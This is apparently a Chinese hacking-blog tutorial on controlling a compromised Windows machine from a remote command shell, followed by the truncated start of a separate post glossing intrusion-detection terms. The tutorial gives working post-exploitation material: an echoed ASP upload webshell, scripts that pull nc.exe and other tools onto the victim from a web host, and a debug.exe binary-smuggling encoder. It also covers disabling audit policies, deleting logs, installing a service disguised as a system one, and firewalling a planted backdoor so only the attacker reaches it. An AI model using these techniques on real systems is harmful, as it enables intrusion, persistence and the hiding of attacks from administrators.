前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with 将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是: cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe 注意,这个命令是在本地命令行中执行的,不要弄错了。另外,通过IIS上传会留日志,要记得清除哦。 2,自动下载到网页缓存中。 例如:start its:http://www.sometips.com/soft/ps.exe 在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后: cd "C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5" dir /s ps[1].exe 于是获得ps.exe的具体位置(每台主机都不一样),如: C:Documents and SettingsDefault UserLocal SettingsTemporary Internet FilesContent.IE5AB094JIT 的目录 2004-01-24 14:24 49,152 ps[1].exe 1 个文件 49,152 字节 最后: copy AB094JITps[1].exe c:pathps.exe del AB094JITps[1].exe 补充说明: 对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。 本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。 另外,用ms-its代替its效果完全一样。 3,Echo一个脚本下载web资源。 现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。 仍然是echo版: @echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs

举例–下载ps.exe并保存到c:path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:pathps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果–编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,""))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"

C:>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d

C:>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"KAVRun"=-

3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEMCurrentControlSetServicesServ-U
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun

将它写入c:pathreg.inf然后用下面这个命令"安装":

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。

增加一个服务:

[Version]
Si

gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathinetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%system32tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题–不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:

[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。
/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%securitylogsscesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%securitytemplates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子–关闭所有的"审核策略"。(它所审核的事件将记录在事件查看器的"安全性"里)。
echo版:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典":

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINESystemCurrentControlSetControlLsaForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%securitydatabasesecedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

此办法在XP和2003下无效–可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORTTOOLSSUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsIPSecPolicyLocal),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是"阻塞"。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务"留下后路"。例如:
c:>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:>time /t
12:34

c:>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。

c:>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定–ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORTTOOLSSUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices下增加主键,在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%npf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%system32
copy wpcap.dll %SYSTEMROOT%system32
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%system32drivers goto END
copy npf.sys %SYSTEMROOT%system32drivers
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\.rootcimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\.rootcimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\.rootcimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\.rootcimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject("winmgmts:\.rootcimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject("winmgmts:\.rootcimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\.rootcimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\.rootcimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t3600^&"h "^&t60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况

一月 31st, 2008

Posted In: 未分类

入侵检测技术07年已经取得了越来越多的应用,很多用户对IDS(入侵检测系统)具体信息并不是十分了解,但随着其快速发展,我们有必要了解IDS,为日后做好准备。与IDS相关的新名词也日新月异,这里按字母顺序罗列了相关的术语,有的可能很普遍了,但是有的却很少见。
  警报(Alerts)

  警报是IDS向系统操作员发出的有入侵正在发生或者正在尝试的消息。一旦侦测到入侵,IDS会以各种方式向分析员发出警报。如果控制台在本地,IDS警报通常会显示在监视器上。IDS还可以通过声音报警(但在繁忙的IDS上,建议关闭声音)。警报还可以通过厂商的通信手段发送到远程控制台,除此之外,还有利用SNMP协议(安全性有待考虑)、email、SMS/Pager或者这几种方式的组合进行报警。

  异常(Anomaly)

  大多IDS在检测到与已知攻击特征匹配的事件就会发出警报,而基于异常的IDS会用一段时间建立一个主机或者网络活动的轮廓。在这个轮廓之外的事件会引起IDS警报,也就是说,当有人进行以前从没有过的活动,IDS就会发出警报。比如一个用户突然获得管理员权限(或者root权限)。一些厂商把这种方法称为启发式IDS,但是真正的启发式IDS比这种方法有更高的智能性。

  硬件IDS(Appliance )

  现在的IDS做成硬件放到机架上,而不是安装到现有的操作系统中,这样很容易就可以把IDS嵌入网络。这样的IDS产品如CaptIO, Cisco Secure IDS, OpenSnort, Dragon and SecureNetPro。

  网络入侵特征数据库(ArachNIDS – Advanced Reference Archive of Current Heuristics for Network Intrusion Detection Systems)

  由白帽子住持Max Vision开发维护的ArachNIDS是一个动态更新的攻击特征数据库,适用于多种基于网络的入侵检测系统。

  攻击注册和信息服务(ARIS – Attack Registry & Intelligence Service )

  ARIS是SecurityFocus推出的一项安全信息服务,允许用户向SecurityFocus匿名报告网络安全事件。SecurityFocus整理这些数据,并和其它信息综合,形成详细的网络安全统计分析和趋势预测。

  攻击(Attacks )

  攻击可以定义为试图渗透系统或者绕过系统安全策略获取信息,更改信息或者中断目标网络或者系统的正常运行的活动。下面是一些IDS可以检测的常见攻击的列表和解释:

  拒绝服务攻击(DOS – Denial Of Service attack )

